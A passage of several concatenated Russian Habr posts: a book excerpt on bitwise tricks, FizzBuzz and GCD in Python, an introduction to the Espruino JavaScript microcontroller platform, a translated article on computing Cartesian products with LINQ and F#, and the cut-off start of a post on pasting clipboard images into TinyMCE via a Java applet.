Рассмотрим некоторые ситуации, когда побитовые операторы бывают полезны. Вы можете использовать побитовое AND для проверки четности или нечетности числа. У четного числа, такого как 2, всегда стоит 0 в конце, тогда как число 1 всегда имеет 1 в конце (и содержит только одну двоичную цифру — 1).
```
10 # 2
1 # 1
```
Когда вы применяете побитовый оператор AND для четного числа и числа 1, Python всегда возвращает False, потому что четное число заканчивается на 0, а у числа 1 лишь одна двоичная цифра 1.
```
10 # 2
1 # 1
--
0
```
С другой стороны, когда вы применяете побитовый оператор AND для нечетного числа и числа 1, Python всегда будет возвращать значение True, потому что нечетное число заканчивается на 1, а у числа 1 лишь одна двоичная цифра 1.
```
11 #3
1 #1
--
1
```
Поскольку у числа 1 лишь одна двоичная цифра, не имеет значения, сколько двоичных цифр у числа, которое вы проверяете на четность, — одна или тысяча.
Поскольку у числа 1 лишь одна двоичная цифра, вы производите только одно сравнение: последней двоичной цифры числа и 1.
Вот как проверить, является число четным или нечетным, используя побитовый оператор AND в Python:
```
def is_even(n):
return not n & 1
```
В функции is\_even вы возвращаете not n & 1. Код n & 1 использует побитовый оператор AND для n и 1. Затем вы используете not, чтобы поменять результат на противоположный тому, каким он был бы, потому что, когда вы используете побитовый оператор AND для четного числа и 1, он возвращает False, а это означает, что число четное. В данном случае вы хотите, чтобы функция возвращала значение True для демонстрации того, что число четное, поэтому вы используете not для переключения True на False и False на True.
Побитовый оператор AND также можно использовать для определения того, является ли целое число степенью 2. Каждое число, являющееся степенью 2, имеет одну 1 в своем двоичном представлении, потому что двоичный код имеет основание 2, а это означает, что у любой степени 2 лишь одна цифра 1: например, число 8 в двоичном коде представлено как 0b1000. И наоборот, число, которое на 1 меньше степени 2, содержит только биты с 1: число 7, на 1 меньшее 8, в двоичном коде имеет вид 0b111.
Когда вы примените побитовый оператор AND для этих двух двоичных чисел, вы увидите, что весь итоговый двоичный код состоит из нулей, если первое число является степенью 2.
```
1000 # 8
0111 # 7
————
0000
```
Если число не является степенью 2, итог будет содержать как минимум одну двоичную цифру, равную 1.
```
0111 # 7
0110 # 6
————
0001
```
Вот как использовать побитовый оператор AND в Python, чтобы определить, является ли число степенью 2:
```
def is_power(n):
if n & (n - 1) == 0:
return True
return False
```
Функция is\_power принимает рассматриваемое число. Внутри функции вы используете оператор if, чтобы проверить, равно ли использование оператора AND для n и n – 1 нулю. Если это так, то n является степенью 2 и вы возвращаете True. В противном случае вы возвращаете False.
FizzBuzz
--------
FizzBuzz — одна из классических задач на собеседовании. Однажды я слышал историю об инженере, который проходил собеседование на должность главного инженера-программиста, и там его попросили решить FizzBuzz. Он не смог и очень смутился. Но не переживайте, в этом разделе вы как раз научитесь решать данную задачу, и с вами подобного конфуза не случится.
Вот в чем состоит задача FizzBuzz: написать программу, которая выводит числа от 1 до 100; если число кратно 3, вывести Fizz; если число кратно 5, вывести Buzz; если число кратно 3 и 5, вывести FizzBuzz.
Ключом к решению этой задачи является использование оператора остатка от деления, который делит два значения и возвращает остаток. Если остаток равен 0, вы понимаете, что делимое (число, которое вы делили) кратно делителю (числу, на которое делили). Например, 6 % 3 делит 6 на 3 и возвращает остаток 0.
```
print(6 % 3)
>> 0
```
Поскольку остатка нет, вы знаете, что 6 кратно 3.
Когда вы оцениваете 7 % 3, остаток есть, поэтому вы знаете, что 7 не кратно 3.
```
print(7 % 3)
>> 1
```
Чтобы решить задачу FizzBuzz, вы перебираете числа от 1 до 100 и используете оператор по модулю, проверяя, является ли число кратным 3 и 5, только 3 или только 5.
Вот как это сделать:
```
def fizzbuzz(n):
for i in range(1, n + 1):
if i % 3 == 0 and i % 5 == 0:
print('FizzBuzz')
elif i % 3 == 0:
print('Fizz')
elif i % 5 == 0:
print('Buzz')
else:
print(i)
```
Даже если вы хотите найти числа от 1 до 100, лучше всего ввести число n вместо жесткого кодирования 100. Введение n сделает вашу программу более гибкой, если вы захотите запустить ее с другим числом. Итак, функция fizzbuzz принимает n в качестве параметра.
```
def fizzbuzz(n):
```
Для начала вы используете цикл for для перебора каждого числа от 1 до n + 1.
```
for i in range(1, n + 1):
```
Затем вы используете условный оператор с оператором остатка от деления, чтобы определить, делится ли число i и на 3, и на 5. Если это так, выводите FizzBuzz.
```
if i % 3 == 0 and i % 5 == 0:
print('FizzBuzz')
```
Далее вы используете еще один условный оператор, чтобы проверить, делится ли число на 3. Если это так, выводите Fizz.
```
elif i % 3 == 0:
print('Fizz')
```
Затем вы используете еще один условный оператор, чтобы проверить, делится ли число на 5. Если это так, выводите Buzz.
```
elif i % 5 == 0:
print('Buzz')
```
Если число не делится ни на 3, ни на 5, ни на оба этих числа, выводите само число.
```
else:
print(i)
```
Когда вы запустите программу, вы увидите следующее: числа, которые делятся на 3, например 6 и 27, заменяются на Fizz; числа, кратные 5, например 10 и 85, заменяются на Buzz; те числа, которые делятся на оба числа, например 15 и 30, заменяются на FizzBuzz.
```
>> 1 2 Fizz 4 Buzz Fizz 7 8...Buzz Fizz 97 98 Fizz Buzz
```
Вашему алгоритму требуется n шагов, поэтому он линейный. Если вы введете 100, алгоритму потребуется 100 шагов, если введете 1000, потребуется 1000 шагов. Оператор остатка от деления был ключом к решению данной задачи. Однако он может быть полезен не только на техническом интервью. Оператор остатка от деления также используется при написании реальных приложений. Например, у вас имеется текстовый файл длиной 50 000 строк, и вы можете на страницу поместить 49 строк. Сколько текста будет на последней странице? На последней странице будет 20 строк, потому что 50000 % 49 = 20. А что, если у вас база данных с 20 000 наименований и вы хотите что-то сделать с каждым вторым наименованием? Один из способов — перебирать каждый элемент и менять только элементы с четным индексом.
Наибольший общий делитель
-------------------------
**Наибольший общий делитель** — наибольшее положительное целое число, на которое делятся без остатка два или более целых числа. В этом разделе вы узнаете, как для двух целых чисел, например 20 и 12, найти их наибольший общий делитель.
Числа 20 и 12 вы можете разделить без остатка на 1, 2 и 4. Поскольку 4 — самое большое число, оно и является наибольшим общим делителем.
Делители числа 20: 1, 2, 4, 5, 10.
Делители числа 12: 1, 2, 3, 4, 6.
Один из алгоритмов для нахождения наибольшего общего делителя для двух чисел — проверка всех возможных делителей на предмет того, на какие из них без остатка делятся оба числа. Например, чтобы найти наибольший общий делитель для чисел 20 и 12, вы начинаете с деления их на 1, затем на 2, на 3 и т. д. Вам не нужно проверять числа, которые больше самого меньшего из двух чисел, потому что оно не может делиться без остатка на превышающее его число. Например, число больше 12 не разделит 12 без остатка.
Ниже представлен код на языке Python для вашего алгоритма:
```
def gcf(i1, i2):
gcf = None
if i1 > i2:
smaller = i2
else:
smaller = i1
for i in range(1, smaller + 1):
if i1 % i == 0 and i2 % i == 0:
gcf = i
return gcf
gcf(20, 12)
```
Функция gcf принимает в качестве параметров два целых положительных числа, для которых вы ищете наибольший общий делитель.
```
def gcf(i1, i2):
```
Внутри функции вы определяете, какое из двух целых чисел меньше, и присваиваете его значение переменной smaller, чтобы прекратить проверку делителей, дойдя до этого числа.
```
if i1 > i2:
smaller = i2
else:
smaller = i1
```
Затем вы используете цикл for, чтобы проверить каждый делитель от 1 до значения переменной smaller плюс 1 (чтобы проверить и наименьшее число).
```
for i in range(1, smaller + 1):
```
Далее вы используете оператор if, чтобы увидеть, делит ли делитель без остатка оба целых числа. Если это так, вы присваиваете значение делителя переменной gcf.
```
if i1 % i == 0 and i2 % i == 0:
gcf = div
```
Но то, что вы нашли один общий делитель, еще не означает, что вы нашли наибольший общий делитель. Если вы найдете еще один делитель — больший, то в следующий раз в своем цикле вы присвоите его переменной gcf. Таким образом, когда цикл закончится, gcf будет содержать наибольший делитель.
Однако у вашего кода есть проблема. Что, если одно из целых чисел равно 0?
```
print(gcf(0, 22))
>> None
```
Программа вернет неверный ответ, если одно из целых чисел будет равно 0. Неспособность кода справиться с числом 0 является примером **граничного условия** — входных данных, находящихся за пределами тех входных данных, которые ожидаемо должна была получить ваша программа. Если при вычислении наибольшего общего делителя для двух чисел одно из чисел равно 0, то наибольший общий делитель будет равен второму целому числу. Например, наибольший общий делитель для чисел 0 и 12 равен 12.
Когда вы пишете алгоритм, вам всегда нужно учитывать непредвиденные входные данные, которые могут нарушить его работу. В данном случае ваш алгоритм неверен, так как во входных данных есть 0. Вот как можно изменить программу, чтобы она возвращала правильные выходные данные, если одно из двух целых чисел равно 0:
```
def gcf(i1, i2):
if i1 == 0:
return i2
if i2 == 0:
return i1
if i1 > i2:
smaller = i2
else:
smaller = i1
for divisor in range(1, smaller + 1):
if(i1 % divisor == 0) and (i2 % divisor == 0):
gcf = divisor
return gcf
```
Ваша программа также не может обрабатывать отрицательные числа, поэтому в начале вам следует добавить проверку на то, что оба числа положительные.
```
def gcf(i1, i2):
if i1 < 0 or i2 < 0:
raise ValueError("Numbers must be positive.")
if i1 == 0:
return i2
if i2 == 0:
return i1
if i1 > i2:
smaller = i2
else:
smaller = i1
for divisor in range(1, smaller+1):
if(i1 % divisor == 0) and (i2 % divisor == 0):
gcf = divisor
return gcf
```
Код для нахождения наибольшего общего делителя линеен, так как алгоритм решает задачу за n шагов. Линейный код — это неплохо, но существует более удачный способ решения данной задачи.
**Об авторе**
**Кори Альтхофф** — писатель, программист и лектор. Его первая книга The Self-Taught Programmer («Программист-самоучка») была переведена на семь языков, а после ее публикации в обиход вошло понятие программист-самоучка. Сайт Book Authority назвал The Self-Taught Programmer одной из величайших книг по программированию всех времен, а The Next Web включил ее в топ-10 книг, которые помогут стать отличным программистом. Более 200 тысяч разработчиков состоят в сообществе программистов-самоучек, собранном Кори Альтхоффом через популярную группу на Facebook, через блог, новостную рассылку и курсы на платформе Udemy. Кори живет в Калифорнии с женой и дочерью.
**О научном редакторе**
**Доктор Ханну Парвиайнен** — астрофизик, изучающий планеты за пределами нашей Солнечной системы, сотрудник Канарского института астрофизики — одного из ведущих астрофизических институтов в мире, в котором находится крупнейший из существующих оптических телескопов. Ханну Парвиайнен несколько лет был аспирантом-исследователем в Оксфордском университете. Среди ключевых тем его работ — научные вычисления и современные численные методы. Имеет более 20 лет опыта программирования на языке Python.
Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/product/computer-science-dlya-programmista-samouchki-vse-chto-nuzhno-znat-o-strukturah-dannyh-i-algoritmah):
» [Оглавление](https://www.piter.com/product/computer-science-dlya-programmista-samouchki-vse-chto-nuzhno-znat-o-strukturah-dannyh-i-algoritmah#Oglavlenie-1)
» [Отрывок](https://www.piter.com/product/computer-science-dlya-programmista-samouchki-vse-chto-nuzhno-znat-o-strukturah-dannyh-i-algoritmah#Otryvok-1)
По факту оплаты бумажной версии книги на e-mail высылается электронная книга.
Для Хаброжителей скидка 25% по купону — **Computer Science** | https://habr.com/ru/post/711786/ | null | ru | null |
# Espruino: JavaScript в микроконтроллере
«Зачем?», «Что за бред?», «Извращение!», «Фу-фу-фу» — вот некоторые из многих высказываний, которые мы услышали, когда выпустили плату [Iskra JS](http://amperka.ru/product/iskra-js?utm_source=pub&utm_campaign=iskrajs-espruino&utm_medium=habr) на ядре [Espruino](http://espruino.com).
Зачем
-----
Когда правильный электронщик слышит, что что-то сделано на Arduino, температура его тела поднимается примерно на полградуса: «взяли годный микроконтроллер и вместо того, чтобы фигак-фигак и регистрами выжать из него все соки, опошлили всё на свете… нет слов, одна ненависть».
Но ведь можно пойти ещё дальше. Взять микроконтроллер Cortex M4, который в десятки раз богаче того, что стоит на той же Arduino Uno, запихнуть туда интерпретатор JavaScript и делать проекты на JavaScript!
Думаю, что на этом моменте те, кто не готов к такому надругательству над святыми микросхемами, уже лопнули. Я продолжу для остальных.
В хобби-электронике для подавляющего большинства проектов Arduino Uno хватает за глаза. И даже не важно будет она работать на штатных 16 МГц или на 4 МГц: включится ли подсветка кровати или насос на даче за 1 мс или за 10 мс не имеет значения.
Что имеет значение, так это то, что C++ — сложный и деревянный. Да, он близок к железу, но именно поэтому требует глубокого понимания этого железа и информатики. Добавим к этому синтаксис с кучей нюансов, который является суммой ошибок 30-летнего развития языка. Затем лишим то, что получилось адекватных массивов, строк, словарей, а ещё лучше — вообще лишим динамической памяти. Вот, наконец мы получили Arduino.
Наблюдая за вопросами на нашем форуме я вижу, что люди тратят время на долбание с языком, а не на сути своих проектов. Так почему бы не снизить пропасть между железом и людьми? Железо — дешёвое и постоянно развивается, время людей — дорогое и ниоткуда не берётся.
Похожий процесс я наблюдал много лет пока работал в разработке игр. В 2003-м году представить было нельзя, что игру можно писать на чём-то кроме C/C++. Потом в движках появились встроенные скрипт машины. А затем и создание полноценного продукта стало возможным без единой строки на Си. Только Java, C#, Ruby, Python, JavaScript. Это логично, потому что железо стало тянуть «медленные языки», а засчёт в разы более быстрой разработки и большего количества доступных программистов, стало возможным больше ресурсов тратить на интересность игры, а не на поиск утечек памяти.
На что похоже программирование микроконтроллеров на JavaScript
--------------------------------------------------------------
Программирование похоже на… JavaScript. На разработку для браузера или Node.js. Вот пример:
```
// SMS
var sim = require('@amperka/Sim900r').connect();
sim.powerOn();
sim.on('sms', function(sms) {
var rgb = sms.text.split(' ');
var r = +rgb[0];
var g = +rgb[1];
var b = +rgb[2];
if (isNaN(r + g + b)) return;
fadeTo(r, g, b);
});
// Лента
SPI2.setup({baud:3200000, mosi:B15});
var LED_COUNT = 150;
var colors = new Uint8ClampedArray(LED_COUNT * 3);
function fadeTo(r, g, b) {
var n = 0;
var ivalID = setInterval(function() {
colors[n*3 + 0] = b;
colors[n*3 + 1] = r;
colors[n*3 + 2] = g;
SPI2.send4bit(colors, 0b0001, 0b0011);
if (n++ >= LED_COUNT) {
clearInterval(ivalID);
}
}, 50);
}
```
Эта программа занимается тем, что принимает SMS’ки и в зависимости от их текста бегущим огоньком меняет цвет подключённой RGB-ленты. Мы делали такой проект для нашей новогодней ёлки, но на классической Arduino. Кода было в 4 раза больше.
Ядро Espruino
-------------
Итак, у компьютера есть движки V8 и SpiderMonkey для JavaScript. А у микроконтроллеров есть движок Espruino.
Если говорить грубо, движок Espruino — это прошивка (скетч, скетчище) для микроконтроллеров, который в свою очередь может исполнять JavaScript-код, который вы передаёте на плату через serial-соединение, например по USB.
Espruino — это open source проект, фаундером которого является Gordon Williams. Человек, который в одиночку реализовал большую часть всей экосистемы и успешно сходил с ней на KickStarter.
Эта экосистема состоит из нескольких основных частей:
* Espruino Web IDE — среда программирования;
* Espruino Firmware — JavaScript-машина, которая крутится на микроконтроллере;
* Железо — сами платы, которые совместимы с Espruino;
* Стандартная библиотека и внешние библиотеки;
* Документация.
Обо всём по порядку.
Среда программирования
----------------------
Написание JavaScript-кода, загрузка его в плату и наблюдение за выводом происходит в Espruino Web IDE. Это приложение для Google Chrome, поэтому оно ставится в 1 клик и работает под всеми настольными операционками.
Для пользователя эта среда заменяет Arduino IDE.
По функционалу Espruino IDE, конечно, много проще полновесных Eclipse или Visual Studio, но она более продвинута, чем Arduino IDE.
Если окинуть окно среды одним взглядом, увидите редактор кода (справа), панель консоли (слева) и кнопку для загрузки кода в плату.
Консоль — это как Serial Monitor в Arduino IDE, но в отличии от него он не только выводит, но и принимает: можно прямо налету, без ресета и загрузки новой программы, вызвать функцию, посмотреть значение переменной, прервать цикл и т.п.
Поработав плотнее, вы столкнётесь с отладчиком (ага, step-by-step исполнение, breakpoint’ы), подсказками редактора, подсвечиванием ошибок налету и прочими приятными фишечками.
Кроме того, прямо из IDE можно обновить версию самой Espruino Firmware до последней. Среда сама сама скачает последний доступный релиз и зальёт его через USB.
Firmware
--------
Сердце системы — прошивка, которая крутится на микроконтроллере. Она написана на чистом Си, загружается единожды в отдельное место флеш-памяти микроконтроллера и занимается тем, что исполняет пользовательский JS-код, который приходит через последовательное соединение или находится в пользовательской области флеш-памяти.
Если схематично изобразить расклад флеш-памяти для Iskra JS, получим такую картину:
### Загрузчик
Сначала идёт загрузчик, которы не обновляется (условно) никогда. Это маленькая программа, с исполнения которой абсолютно всегда начинается жизнь микроконтроллера после включения или сброса.
Загрузчик делает довольно простую вещь:
* Если не нажата пользовательская кнопка BTN1, тут же передаёт управление интерпретатору.
* Если кнопка была нажата при старте, он зацикливается на себе и ждёт либо пока кнопку нажмут ещё раз, чтобы таки выйти в интерпретатор, либо ждёт пока через USB загрузят новую версию интерпретатора. В этом случае bootloader перепишет область флеш-памяти с Espruino Firmware, а мы получим на плате свежую версию интерпретатора.
### Интерпретатор
Итак за загрузчиком следует интерпретатор, который и делает основную работу.
Когда он стартует, проверяет с помощью проверки волшебного байта, есть ли в пользовательской флеш-памяти сохранённый код JavaScript. Если есть, принимается его исполнять.
Если кода нет или же, если мы вручную с помощью BTN1 вышли из загрузчика, ничего слёту исполнено не будет, мы просто получим готовую к работе JS-машину.
### Свободная память
После интерпретатора есть ничейная область памяти, которую вы можете использовать для энергонезависимого хранения своих данных. Это своеобразная замена EEPROM на Arduino, но со своей спецификой, а ещё её в десятки-сотни раз больше.
### Пользовательский код
Здесь хранится та JS-программа, которую выполняет интерпретатор. Программа лежит там в обычном текстовом виде, одним брикетом, как есть.
За то, чтобы множество подключённых библиотек с их зависимостями и ваша собственная программа превратились в один литой и минифицированный брикетик следит при загрузке IDE.
Вернее, всю работу делает не IDE, а её GUI-независимая составная часть EspruinoTools, у которой есть интерфейс коммандной строки и точка входа для использования в качестве Node.js-модуля. Поэтому при желании вы можете использовать Vim, Atom, Eclipse или чего вам удобнее для разработки.
На месте кода вместо текстового брикета может лежать сохранённый бинарный слепок оперативной памяти, который полностью отражает состояние интерпретатора на момент сохранения. Но это уже технические детали не для беглого обзора.
Библиотеки
----------
Библиотеки можно разделить на 3 вида: стандартная, встроенные и внешние.
### Стандартная библиотека
Стандартная библиотека — это функции и объекты, которые можно слёту использовать. Среди них, как привычные и прописанные в стандарте языка `Date`, `JSON`, `Math`, `Object`, `setInterval`, `setTimeout` и прочие-прочие, так и специфичные для Espruino функции для работы с пинами, интерфейсами, памятью.
Среди функций вы найдёте привычные ардуинщику `pinMode`, `digitalRead`, `digitalWrite`, `analogRead`, `analogWrite`, а ещё не столь привычные `setWatch` для наблюдения за входными пинами, `digitalPulse` для точной генерации последовательности цифровых импульсов и ещё много разных штук для работы с периферией.
Кстати, несмотря на то, что функция `pinMode` на платформе есть, по умолчанию она работаем сама, за кадром, поэтому в большинстве сценариев можете о ней не вспоминать (на этом месте громко лопнул последний электронщик).
Чего вы не найдёте в стандартной библиотеке, так это `delay`. Mamma Mia, как я благодарен за это! Достаточно немного перестроить мышление и становится ясно, что всё решается через `setInterval`, `setTimeout` без всякого `delay`.
В благодарность вы получаете асинхронность исполнения: можете мигать двадцатью светодиодами независимо, каждым со своей частотой. А ещё вы получаете энергоэффективность: `delay` — это прожигание процессорного сремени, а без `delay` процессор может мирно спать пока нечего делать. В Espruino пока нет работы процессор засыпает и потребляет в десятки раз меньший ток.
### Встроенные библиотеки
Встроенные библиотеки — это такая же часть стандартной библиотеки в том смысле, что они жёстко вшиты в Espruino Firmware, но для доступа к их функционалу требуется синтаксически их подключить с помощью знакомой JavaScript-программистам функции `require`.
Среди таких библиотек вы найдёте, например, `fs` для работы с файловыми системами SD-карт, `http` для создания web-интерфейса к своему устройству, `Waveform` для записи/воспроизведения аудиосигналов и другие.
Стандартная и встроенные библиотеки реализованы на чистом Си, а пользователю выведен лишь JavaScript-интерфейс в виде набора объектов, функций и модулей. Это позволяет достичь максимальной эффективности для реализации сложных алгоритмов, оставляя при этом возможность обращения к ним из высокоуровнего кода.
Вы и сами можете реализовать на Си что-то, на что JavaScript сказал бы «нет, спасибо», а наружу вывести только несколько необходимых для запуска хвостов.
### Внешние библиотеки
Внешние библиотеки — это то, что формирует богатство экосистемы. Их пишут на JavaScript авторы Espruino, мы пишем, пишут пользователи Espruino.
Храниться они могут на локальном диске, в песочнице текущего проекта, могут быть в интернет-репозитории, могут быть на GitHub’е, могут лежать на NPM’е.
Подключаются библиотеки, традиционно, с помощью `require`.
Когда среда видит `require`, она рекурсивно загружает их из удалённого источника и при загрузке скетча приклеивает их содержимое к началу вашей программы. Таким образом для микроконтроллера формируется цельный брикетик с кодом, о котором я говорил выше.
Такой подход означает также, что в отличии от Arduino пользователю не нужно спотыкаться о то, что библиотеку для начала нужно найти, скачать, положить куда нужно. Достаточно просто слямзить откуда-нибудь понравившийся скетч и среда сама разберётся с зависимостями от библиотек.
Железо
------
Вот мы и подошли к самому осязаемому компоненту экосистемы Espruino. Это платы, которые могут исполнить Espruino Firmware.
К ним относятся оригинальные [Espruino Board](https://www.tindie.com/products/gfwilliams/original-espruino-board/), [Espruino Pico](https://www.tindie.com/products/gfwilliams/espruino-pico-unpinned/), а также выпущенная Амперкой [Iskra JS](http://amperka.ru/product/iskra-js?utm_source=pub&utm_campaign=iskrajs-espruino&utm_medium=habr). На перечисленных платах всё уже установлено на заводе, они сразу готовы к работе.
Вы можете несколько раз стукнуть в бубен и самостоятельно поставить Espruino-ядро на STM32 Discovery, Nucleo и, внезапно, на ESP8266.
Документация
------------
Нет ничего грустнее, чем что-то очень крутое и мощное, но без документации.
У Espruino — неплохая документация. На [www.espruino.com/Reference](http://www.espruino.com/Reference) вы найдёте много справочных и обучающих статей.
Мы хотим сделать ещё больше и лучше. Поэтому создали отдельный раздел: [js.amperka.ru](http://js.amperka.ru), снимаем видеоуроки. Работа пока в процессе, но многое уже освещено.
И традиционно для тех, кто любит коробочные решения, мы создали набор «[Йодо](http://amperka.ru/product/yodo?utm_source=pub&utm_campaign=iskrajs-espruino&utm_medium=habr)». В нём Iskra JS, модули и цветная книга.
Вот такая петрушка. Загадкой остаётся лишь то, смог ли хоть один правильный электронщик дочитать до этой строки? | https://habr.com/ru/post/392399/ | null | ru | null |
# Поиск декартова произведения с помощью LINQ
Постановка вопроса: **как найти декартово произведение *произвольного* количества последовательностей с помощью LINQ?**
Для начала, давайте убедимся, что мы знаем, о чем идет речь. Я буду обозначать последовательности как упорядоченные множества: `{a, b, c, d...}` Декартово произведение двух последовательностей S1 и S2 есть последовательность всех возможных упорядоченных пар таких, что их первый элемент из S1, а второй — из S2. Так, к примеру, если у вас есть две последовательности `{a, b}` и `{x, y, z}`, то их декартово произведение выглядит как `{{a, x}, {a, y}, {a, z}, {b, x}, {b, y}, {b, z}}`.
Для упрощения, предположим, что S1 и S2 состоят из элементов одного типа. Разумеется, мы можем определить декартово произведение последовательности строк с последовательностью чисел как последовательность кортежей (string, int), но впоследствии это окажется тяжело обобщать, потому что система типов C#, в частности, не лучшим образом работает с кортежами произвольной длины.
В LINQ есть оператор специально для вычисления декартовых произведений: в «синтаксисе методов» это `SelectMany`, в «синтаксисе запросов» это запрос с двумя выражениями «from»:`> var s1 = new[] {a, b};
>
>
> var s2 = new[] {x, y, z};
>
>
> var product =
>
>
> from first in s1
>
>
> from second in s2
>
>
> select new[] { first, second };`
Конечно же, мы можем обобщить декартово произведение на более чем две последовательности. Декартово произведение n последовательностей `{S1, S2, ... , Sn}` есть последовательность всех возможных n-элементных последовательностей, у которых первый элемент из S1, второй из S2 и т.д.
В этом определении не хватает тривиального случая: что есть декартово произведение нуля последовательностей? Пускай в таком случае оно состоит из последовательности, содержащей единственный элемент: пустую последовательность, то есть `{ { } }`.
Обратите внимание, что это дает логичное определение декартова произведения одной последовательности. Декартово произведение последовательности, содержащей одну-единственную последовательность (скажем, `{{a, b}}`) есть последовательность всех возможных одноэлементых последовательностей, где первый (и единственный) элемент из `{a, b}`. Таким образом, декартово произведение `{{a, b}}` есть `{{a}, {b}}`.
С помощью LINQ вы можете составить декартово произведение любого количества последовательностей достаточно просто, *если вы изначально знаете, с каким количеством будете работать*:`> var product =
>
>
> from first in s1
>
>
> from second in s2
>
>
> from third in s3
>
>
> select new[] {first, second, third};`
Но что делать, если вы не знаете на этапе написания кода, сколько у вас будет последовательностей? То есть, как написать тело функции:`> public static IEnumerable<IEnumerable<T>> CartesianProduct<T>(this IEnumerable<IEnumerable<T>> sequences)`
Что ж, есть причина использовать индукцию; эта идея практически никогда не подводит при работе с рекурсивно определенными структурами данных.
Если `sequences` содержит ноль последовательностей, дело сделано: мы просто возвращаем `{ { } }`.
Как найти декартово произведение двух последовательностей, скажем, снова `{a, b}` и `{x, y, z}`? Начнем с подсчета декартова произведения первой последовательности. Пускай индуктивное предположение состоит в том, что мы каким-либо образом сделали это, так что мы знаем ответ: `{{a}, {b}}`. Как соединить `{{a}, {b}}` с `{x, y, z}`, чтобы получить общее произведение?
Давайте вернемся в поисках вдохновения к изначальному определению декартова произведения двух последовательностей. Декартово произведение `{{a}, {b}}` и `{x, y, z}` — беспорядочное `{{{a}, x}, {{a}, y}, {{a}, z}, {{b}, x}, {{b}, y}, {{b},z}}`, которое, тем не менее, соблазнительно близко к тому, что мы хотим получить. Мы не просто хотим найти декартово произведение `{{a}, {b}}` и `{x, y, z}`, создавая *последовательность*, содержащую `{a}` и `x`, но нет, вместо этого нам нужно вычислить декартово произведение, *присоединяя* `x` к `{a}`, чтобы получить `{a, x}`! Другими словами, *конкатенируя* `{a}` и `{x}`.
В терминах кода: пускай у нас есть старое декартово произведение, скажем `{{a}, {b}}`. Мы хотим соединить его с последовательностью `{x, y, z}`:`> var newProduct =
>
>
> from old in oldProduct
>
>
> from item in sequence
>
>
> select old.Concat(new[]{item}};`
И теперь у нас есть благополучный индукционный переход. Если `oldProduct` — *любое* декартово произведение, то мы можем вычислить его комбинацию с другой последовательностью, чтобы получить новое декартово произведение.
На всякий пожарный: этот метод работает с основой индукции? Да. Если мы хотим скомбинировать декартово произведение `{ { } }` с последовательностью `{{a}, {b}}`, мы склеиваем `{ }` с `{a}` и `{ }` с `{b}`, чтобы получить `{{a}, {b}}`.
Давайте соберем все это вместе:`> static IEnumerable<IEnumerable<T>> CartesianProduct<T>(this IEnumerable<IEnumerable<T>> sequences)
>
>
> {
>
>
> // основа индукции:
>
>
> IEnumerable<IEnumerable<T>> result = new[] { Enumerable.Empty<T>() };
>
>
> foreach(var sequence in sequences)
>
>
> {
>
>
> var s = sequence; // нельзя замыкаться на переменную цикла
>
>
> // индукционный переход: используем SelectMany, чтобы построить новое произведение из старого
>
>
> result =
>
>
> from seq in result
>
>
> from item in s
>
>
> select seq.Concat(new[] {item});
>
>
> }
>
>
> return result;
>
>
> }`
Работает отлично, но при желании можно сделать чуточку красивее. По существу мы здесь используем *аккумулятор*. Рассмотрим пример проще, скажем, суммирование списка целых чисел. Один из способов сделать это — сказать «Пусть аккумулятор вначале равен нулю. Новый аккумулятор получается из старого путем добавления текущего элемента к старому аккумулятору». Если у нас есть стартовое значение аккумулятора и мы некоторым образом можем получить новое значение из старого и из текущего элемента последовательности, тогда можно использовать полезный метод `Aggregate`. Он принимает стартовое значение аккумулятора и функцию, которая принимает последнее значение и текущий элемент и возвращает новое значение аккумулятора. На выходе метода — итоговое значение аккумулятора.
В данном случае мы начнем с пустым произведением в качестве аккумулятора, и каждый раз мы будем «добавлять» к нему путем комбинирования текущей последовательности с произведением предыдущих. На каждом шаге алгоритма, аккумулятор равен декартовому произведению уже просмотренных последовательностей.`> static IEnumerable<IEnumerable<T>> CartesianProduct<T>(this IEnumerable<IEnumerable<T>> sequences)
>
>
> {
>
>
> IEnumerable<IEnumerable<T>> emptyProduct = new[] { Enumerable.Empty<T>() };
>
>
> return sequences.Aggregate(
>
>
> emptyProduct,
>
>
> (accumulator, sequence) =>
>
>
> from accseq in accumulator
>
>
> from item in sequence
>
>
> select accseq.Concat(new[] {item}));
>
>
> }`
И напоследок несколько слов для разбирающихся. Помните, **результат LINQ-запроса есть запрос, который предоставит результаты по требованию, а не результаты непосредственно**. Когда мы строим этот аккумулятор, мы вообще-то не вычисляем декартово произведение. Мы строим большой сложный запрос, который *при запуске* выдаст декартово произведение. Запрос строится энергично, но выполняться будет лениво.
##### От переводчика
Эрик обошел в своем посте конкретное название идиомы, которую он использовал, а именно *свертки*. Впрочем, на эту тему на Хабрахабре уже были посты. Интересующийся может найти отличный перевод [«Катаморфизм в F#»](http://habrahabr.ru/blogs/net/57503/).
Ту же задачу, гораздо менее многословно, но с тем же алгоритмом, можно решить и на F#. Вместо LINQ в код хорошо впишутся списочные выражения (list comprehensions) — одна из замечательных фич, традиционно свойственных функциональным языкам. Для достижения большей производительности приклеивать элемент к списку стоит с головы, оператором `(::)`. В таком случае для достижения классического вида декартова произведения исходную последовательность перед началом работы придется перевернуть.
В сумме свертка, пайплайны и списочные выражения дадут вот такой красивый код:`> let product seqs =
>
> List.rev seqs
>
> |> List.fold
>
> (fun acc cur ->
>
> [for seq in acc do
>
> for item in cur do
>
> yield item::seq]) [[]]` | https://habr.com/ru/post/99128/ | null | ru | null |
# Вставка изображения из буфера обмена в редактор TinyMCE
Некоторое время назад у нас на проекте возникла необходимость вставить картинки из буфера обмена прямо в редактор. Задача оказалась нетривиальной, и простых решений не имела. По факту поиска в интернете было найдено всего два пути решения проблемы – либо менять редактор целиком на флешовый, что привело бы к переписыванию большой части проекта, либо – ява-аплет. Собственно, о последнем и пойдет речь ниже.
Для решения проблемы мы использовали ява-аплет Supa.
Аплет без подписи работать не будет, соответственно его нужно подписать. Подписи выдают сертифицированные на это дело сервисы, которые требуют за это соответствующую плату. Но, для того чтобы оценить работоспособность, тратить деньги как то не хотелось. Поэтому был использован алгоритм, подсмотренный на сайте, указанном в конце статьи. Подпись дается на 8 мес, но для оценки эффективности работы – предостаточно.
**Код для вставки аплета**
Устанавливаем размер аплета 0х0 px, так как по-умолчанию аплет отображает изображение из буфера обмена без аплоуда на сервер, а нам нужно чтобы аплоуд происходил по нажатию кнопки в редакторе.
**Интеграция в TinyMCE**
Немного упростив код из примера для аплета получаем управляющую обертку на JS, состоящую из двух функций.
```
function paste()
{
var s = new supa();
try
{
var applet = document.getElementById( "SupaApplet" );
if (!s.ping(applet)) throw "SupaApplet is not loaded (yet)";
var err = applet.pasteFromClipboard();
switch (err)
{
case 0:
break;
case 1:
case 2:
